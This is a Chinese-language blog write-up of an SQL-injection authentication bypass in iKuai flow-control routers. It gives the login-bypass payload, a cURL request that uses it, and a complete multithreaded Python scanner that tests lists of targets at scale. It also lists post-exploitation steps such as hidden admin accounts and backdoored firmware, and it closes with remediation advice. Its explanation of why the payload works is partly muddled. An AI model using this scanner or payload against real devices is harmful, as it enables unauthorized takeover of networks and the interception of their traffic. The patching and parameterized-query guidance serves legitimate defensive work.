1. 项目概述与背景最近在整理一些历史漏洞的复现笔记翻到了iKuai流控路由这个老生常谈的SQL注入漏洞。这个漏洞其实挺典型的属于那种“原理简单、影响直接、批量验证效率高”的类型在渗透测试和SRC漏洞挖掘中如果遇到iKuai的设备基本可以作为一个稳定的突破口。iKuai爱快作为国内中小企业、酒店、校园网等场景中非常常见的软路由/流控系统其部署量相当可观。这个漏洞的核心在于其Web管理后台的登录认证逻辑存在缺陷攻击者无需知道正确的用户名和密码仅需构造特定的SQL注入Payload即可绕过认证直接登录后台。一旦进入后台获取到的权限就非常高了从网络配置、流量控制到内网设备管理几乎可以为所欲为后续的横向移动和内网渗透也就有了坚实的跳板。今天这篇文章我就来详细拆解一下这个漏洞的成因、复现过程并分享一个我优化过的、用于批量验证的POC脚本以及在实际操作中积累的一些技巧和避坑指南。2. 漏洞原理深度解析2.1 SQL注入漏洞的本质在深入iKuai这个具体案例之前我们有必要先快速回顾一下SQL注入漏洞的核心。简单来说当Web应用程序将用户输入比如登录框里的用户名、密码未经充分处理就直接拼接到SQL查询语句中执行时就产生了SQL注入漏洞。攻击者可以精心构造输入改变原有SQL语句的逻辑从而实现非预期的操作比如绕过登录验证、窃取数据库信息、甚至写入文件获取服务器权限。一个典型的登录验证SQL语句可能是这样的SELECT * FROM users WHERE username ‘[用户输入的用户名]’ AND password ‘[用户输入的密码]’;如果程序直接将用户输入拼接进去当攻击者在用户名处输入admin‘ --注意最后的空格语句就变成了SELECT * FROM users WHERE username ‘admin’ -- ’ AND password ‘xxx’;--在SQL中是注释符这意味着后面的AND password ‘xxx’被注释掉了整个查询变成了只验证用户名是否为admin。如果数据库里存在admin用户那么无论密码输入什么这条查询都可能返回结果导致登录绕过。2.2 iKuai路由漏洞的具体成因根据公开的漏洞信息和我的分析iKuai路由系统的这个漏洞正是发生在Web管理后台的登录接口。其认证逻辑的SQL语句拼接存在严重缺陷。推测其后台代码可能类似于$username $_POST[‘username’]; $password $_POST[‘password’]; $sql “SELECT * FROM admin_user WHERE username‘“ . $username . “‘ AND password‘“ . md5($password) . “‘“; $result mysql_query($sql); if (mysql_num_rows($result) 0) { // 登录成功 }问题在于它没有对用户输入的$username进行有效的过滤如转义单引号或使用参数化查询就直接拼接到了SQL语句中。攻击者使用的经典Payload是“or”“”“or”“”。这个Payload非常巧妙我们来拆解一下当它作为用户名username输入时最终的SQL语句会变成什么样子。假设密码password字段留空或任意填写。原始语句可能是SELECT * FROM admin_user WHERE username‘“or”“”“or”““‘ AND password‘[经过MD5处理的值]‘由于输入中包含了双引号它会先闭合SQL语句中用于包裹字符串的单引号。我们一步步看username‘这是语句原有的开头单引号。接着我们输入了“这个双引号在SQL中通常被视为普通字符但关键是它后面跟着or。然后又是““这构成了一个永真条件一个空字符串等于另一个空字符串结果为True。接着是or再次进行逻辑或。最后是““又是一个永真条件。所以整个WHERE子句的逻辑变成了WHERE username‘“or”“”“or”““‘ ...。由于字符串“不等于空字符串username‘“’这部分是False。但是False OR True OR True的结果永远是True。因此无论密码是否正确这条SQL查询都会返回数据通常是数据库中的第一条用户记录从而导致登录验证被绕过。注意这里为什么密码可以留空因为很多系统在代码中会先判断密码是否为空如果为空则不对其进行MD5计算或者MD5(‘’)是一个固定值。在漏洞利用时留空是最简单直接的方式。有些POC会使用“or”“”这种更短的Payload原理类似都是构造一个永真条件。2.3 漏洞影响范围与危害这个漏洞的危害等级无疑是高危。成功利用后攻击者能够直接获得路由器的Web管理后台权限。别小看这个后台在iKuai系统中这意味着完全的网络控制权可以修改LAN/WAN口配置、DHCP设置、防火墙规则导致内网断网或流量被劫持。流量监控与劫持利用流控功能可以监控、限速、重定向特定用户的流量。内网渗透跳板路由器通常处于内网核心位置以此为跳板可以扫描、攻击内网其他更脆弱的设备。VPN/PPPoE信息窃取如果路由器配置了企业VPN或拨号信息这些敏感数据可能被窃取。固件篡改高级攻击者可能进一步利用后台权限上传恶意固件实现持久化控制。影响版本主要是漏洞公开前后一段时间的iKuai路由系统版本具体版本号需根据官方修复记录确定但鉴于很多企业设备更新不及时大量历史版本设备在互联网上仍然可寻。3. 漏洞复现环境搭建与手工验证3.1 实验环境准备强烈建议所有安全研究均在授权和隔离的环境中进行为了复现和学习我们可以通过以下方式搭建环境寻找测试设备可以在二手平台寻找旧的工控机或自己用虚拟机安装iKuai的官方ISO镜像。iKuai提供免费版系统用于学习和测试是合法的。使用漏洞靶场一些在线或离线的漏洞靶场可能集成了这个漏洞场景。虚拟机安装从iKuai官网下载历史版本注意版权和法律风险仅用于教育研究的ISO安装镜像。在VMware或VirtualBox中创建虚拟机通常需要将网卡设置为桥接模式并添加多块网卡以模拟WAN/LAN。安装后通过控制台或后续发现的IP地址访问Web管理界面。对于本次复现我们假设你已经有了一个测试目标其Web登录地址为http://192.168.1.1。3.2 手工验证POC过程手工验证是最直接的理解漏洞的方式。我们使用浏览器或命令行工具进行。方法一使用浏览器开发者工具打开目标iKuai路由器的登录页面 (http://target_ip)。按F12打开开发者工具切换到Network(网络) 选项卡并勾选Preserve log(保留日志)。在登录表单的用户名框中输入Payload“or”“”“or”“”密码框可以留空或者随意输入任何字符。点击登录按钮。观察Network选项卡。会看到一个向登录接口通常是/或某个/login.cgi提交的POST请求。查看该请求的Response(响应)。如果漏洞存在响应通常会包含登录成功后的跳转信息如Location头指向后台主页或者直接返回后台首页的HTML内容。如果页面成功跳转到后台管理界面通常包含系统状态、流量统计等则证明漏洞利用成功。方法二使用cURL命令行对于习惯命令行的朋友cURL是更高效的选择。以下命令演示了攻击过程curl -X POST http://192.168.1.1/ \ -H “Content-Type: application/x-www-form-urlencoded” \ -d “username\”or\”\”\”\”or\”\”\”password” \ -v-X POST: 指定使用POST方法。-H: 设置请求头这里设置内容类型为表单提交。-d: 发送POST数据。username参数是我们的Payload需要对双引号进行转义\”。password参数为空。-v: 显示详细输出便于观察请求和响应头。执行结果分析在cURL的详细输出中你需要关注响应状态码登录成功可能返回302 Found(重定向) 或200 OK(直接展示后台)。响应头查找Location: /admin/index.html之类的重定向头。响应体如果返回了包含“系统状态”、“流量监控”等字样的HTML说明已进入后台。实操心得有些iKuai版本的前端可能对输入有简单的JavaScript校验比如检查用户名是否为空。如果遇到这种情况直接使用cURL或Burp Suite等工具绕过前端校验直接向后台接口发送POST请求即可。这就是“前端验证不可信”的典型例子。4. 批量验证POC脚本编写与实践在渗透测试或资产梳理中我们往往需要对一个IP地址段或一批目标进行快速筛查。手工一个个去试效率太低这就需要编写批量验证脚本。4.1 脚本设计思路一个健壮的批量验证POC脚本需要具备以下功能目标输入支持从文件读取IP列表或指定IP段。请求构造正确构造带有SQL注入Payload的POST请求。漏洞识别根据HTTP响应状态码、响应头、HTML内容特征准确判断漏洞是否存在。并发处理为了提高效率需要支持多线程或异步并发请求。结果输出清晰地将存在漏洞的目标输出到文件或控制台。错误处理处理网络超时、连接拒绝等异常避免程序崩溃。日志记录便于后续审计和排查问题。4.2 Python POC脚本示例下面是我常用的一个Python3脚本使用了requests库和concurrent.futures线程池并加入了一些稳健性处理。#!/usr/bin/env python3 # -*- coding: utf-8 -*- # iKuai SQL Injection Batch Verification POC # Author: Your Name # Usage: python3 ikuai_sqli_poc.py -f targets.txt -o results.txt -t 50 import requests import argparse from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urljoin import sys import time requests.packages.urllib3.disable_warnings() # 忽略SSL警告 def check_target(url): 检查单个目标是否存在漏洞 headers { ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’, ‘Content-Type’: ‘application/x-www-form-urlencoded’, ‘Accept’: ‘text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8’, } # 关键的SQL注入Payload payload {‘username’: ‘“or”“”“or”“”’, ‘password’: ‘’} try: # 超时时间设置为10秒 resp requests.post(url, datapayload, headersheaders, timeout10, verifyFalse, allow_redirectsTrue) # 漏洞判断逻辑这是核心需要根据实际情况调整特征 # 特征1响应中包含后台管理的关键字 if resp.status_code 200: if ‘系统状态’ in resp.text or ‘流量监控’ in resp.text or ‘爱快路由’ in resp.text and ‘登录’ not in resp.text: return (url, True, ‘Vulnerable’, resp.status_code) # 特征2响应码为302且重定向到非登录页 elif resp.status_code 302: location resp.headers.get(‘Location’, ‘’) if location and ‘login’ not in location: return (url, True, ‘Redirect to {}’.format(location), resp.status_code) # 特征3某些版本可能返回特定的成功标识 elif ‘success’ in resp.text.lower(): return (url, True, ‘Success keyword found’, resp.status_code) return (url, False, ‘Not vulnerable’, resp.status_code) except requests.exceptions.ConnectTimeout: return (url, False, ‘Connection Timeout’, ‘N/A’) except requests.exceptions.ConnectionError: return (url, False, ‘Connection Refused’, ‘N/A’) except requests.exceptions.ReadTimeout: return (url, False, ‘Read Timeout’, ‘N/A’) except Exception as e: return (url, False, ‘Error: {}’.format(str(e)), ‘N/A’) def main(): parser argparse.ArgumentParser(description‘iKuai Router SQL Injection Batch Scanner’) parser.add_argument(‘-f’, ‘–file’, help‘File containing target URLs (one per line)’) parser.add_argument(‘-o’, ‘–output’, help‘Output file to save vulnerable targets’) parser.add_argument(‘-t’, ‘–threads’, typeint, default20, help‘Number of concurrent threads (default: 20)’) parser.add_argument(‘-u’, ‘–url’, help‘Scan a single URL’) args parser.parse_args() targets [] if args.url: targets.append(args.url.rstrip(‘/’)) elif args.file: try: with open(args.file, ‘r’, encoding‘utf-8’) as f: for line in f: line line.strip() if line and not line.startswith(‘#’): # 确保URL格式正确添加http前缀和路径 if not line.startswith(‘http’): line ‘http://’ line targets.append(line.rstrip(‘/’)) except FileNotFoundError: print(f“[!] File {args.file} not found.”) sys.exit(1) else: parser.print_help() sys.exit(1) print(f“[*] Loaded {len(targets)} target(s). Starting scan with {args.threads} threads...”) vulnerable_list [] with ThreadPoolExecutor(max_workersargs.threads) as executor: future_to_url {executor.submit(check_target, url): url for url in targets} for future in as_completed(future_to_url): url future_to_url[future] try: result future.result() target_url, is_vuln, message, status result if is_vuln: print(f“[] VULNERABLE: {target_url} - {message} (Status: {status})”) vulnerable_list.append(target_url) else: print(f“[-] SAFE: {target_url} - {message}”) except Exception as e: print(f“[!] Exception on {url}: {e}”) # 输出结果 if vulnerable_list and args.output: with open(args.output, ‘w’, encoding‘utf-8’) as f: for vuln_url in vulnerable_list: f.write(vuln_url ‘\n’) print(f“\n[*] Vulnerable targets saved to {args.output}”) elif vulnerable_list: print(“\n[*] Vulnerable Targets:“) for vuln_url in vulnerable_list: print(vuln_url) else: print(“\n[*] No vulnerable targets found.”) if __name__ ‘__main__’: main()4.3 脚本使用与参数详解安装依赖确保已安装Python3和requests库 (pip install requests)。准备目标列表创建一个文本文件targets.txt每行一个目标IP或URL例如192.168.1.1 10.0.0.1 http://203.0.113.5运行脚本# 基本用法从文件读取目标使用20个线程 python3 ikuai_sqli_poc.py -f targets.txt # 指定输出文件保存漏洞目标 python3 ikuai_sqli_poc.py -f targets.txt -o vuln_routers.txt # 增加并发线程数到50加快扫描速度 python3 ikuai_sqli_poc.py -f targets.txt -t 50 -o results.txt # 扫描单个目标 python3 ikuai_sqli_poc.py -u http://192.168.1.14.4 特征匹配与误报规避脚本中的check_target函数里的判断逻辑 (if ‘系统状态’ in resp.text...) 是避免误报的关键。你需要根据实际复现时抓取到的成功登录后的页面特征来调整。我提供的几个关键字“系统状态”、“流量监控”、“爱快路由”是比较通用的但并非百分百准确。如何获取准确特征在实验环境中用Payload成功登录。使用浏览器开发者工具或cURL -v查看登录成功后的HTTP响应。分析响应HTML内容找到只有登录成功后才会出现而登录页面没有的独特字符串。例如某个特定的title一个只有后台才有的div的id或者一个特定的JS文件路径。将这个字符串作为判断特征更新到脚本中。特征越独特误报率越低。注意事项批量扫描时务必控制线程数 (-t)过高的并发可能会对目标网络造成压力甚至触发对方的防护机制。建议从20-30开始根据网络状况调整。此外务必在获得明确授权的前提下对目标进行扫描。5. 漏洞修复与安全加固建议对于企业安全运维人员而言了解漏洞如何修复远比知道如何利用更重要。5.1 官方修复方案iKuai官方在漏洞披露后发布了安全更新。最根本的解决方案是立即将路由器系统升级到最新版本。通常的升级路径是在Web后台的“系统设置”-“升级备份”中检查并安装在线更新。5.2 临时缓解措施如果因业务原因无法立即升级可以考虑以下临时加固措施修改默认管理端口将Web管理端口从默认的80或443改为非标准的高位端口。设置访问控制在路由器的防火墙或访问控制列表中只允许特定的、可信的管理IP地址访问Web管理界面。启用强认证如果系统支持启用双因素认证2FA或绑定动态令牌。网络层面隔离将管理VLAN与业务VLAN严格隔离管理口不直接暴露在互联网上。5.3 开发层面的根本修复从代码层面修复此类SQL注入漏洞的标准做法是使用参数化查询预编译语句这是最有效、最推荐的方法。使用数据库驱动提供的参数化查询接口确保用户输入始终被当作数据处理而非SQL代码的一部分。Python (PyMySQL):cursor.execute(“SELECT * FROM users WHERE username%s AND password%s”, (username, password))PHP (PDO):$stmt $pdo-prepare(“SELECT * FROM users WHERE username :user AND password :pass”); $stmt-execute([‘:user’ $user, ‘:pass’ $pass]);对输入进行严格的过滤和转义如果必须拼接SQL则必须对用户输入中的特殊字符如单引号‘、双引号“、反斜杠\等进行转义。但这种方法不如参数化查询可靠应作为次要选择。最小权限原则用于连接数据库的账户应只拥有必要的最小权限避免使用root或sa等高权限账户。Web应用防火墙WAF部署WAF可以在网络层面拦截常见的SQL注入攻击Payload为修复漏洞争取时间。6. 渗透测试中的延伸利用与防御思考6.1 漏洞利用后的常见操作成功进入iKuai后台后作为一名渗透测试人员在授权范围内可以进一步评估风险信息收集查看系统信息、网络拓扑、连接的客户端、VPN配置等绘制内网地图。权限维持尝试修改管理员密码或创建新的隐藏管理员账户。检查是否有固件升级功能能否上传后门固件。内网探测利用路由器本身的“Ping测试”、“路由追踪”或“网络工具”功能探测内网其他存活主机。流量分析利用“流量监控”功能分析内网主机的通信行为寻找潜在的高价值目标。作为跳板如果路由器支持SSH/Telnet或存在其他服务尝试利用已知漏洞或弱口令进行提权获得系统shell从而建立更稳定的通道。6.2 针对此类漏洞的防御体系企业不能只依赖设备厂商的补丁。应建立纵深防御体系资产清点与漏洞管理定期盘点网络设备资产并关注其厂商安全公告及时更新固件。网络分段与隔离严格划分网络区域核心管理网络与业务网络物理或逻辑隔离。最小化暴露面绝不将管理接口直接暴露在公网。如果必须远程管理应通过VPN接入内网后再访问。加强认证对所有网络设备启用强密码策略并尽可能使用双因素认证。日志审计与监控开启设备的安全日志功能并集中收集分析对异常登录行为如非工作时间、陌生IP设置告警。定期安全评估定期对网络设备进行授权渗透测试或漏洞扫描主动发现潜在风险。这个iKuai SQL注入漏洞虽然原理不复杂但它像一面镜子映照出许多网络设备在安全开发生命周期SDLC和运维管理上的缺失。对于安全研究人员它是个很好的学习案例对于企业运维它则是一个严肃的警示。在万物互联的时代一台边缘路由器的失陷可能就意味着整个内网大门的敞开。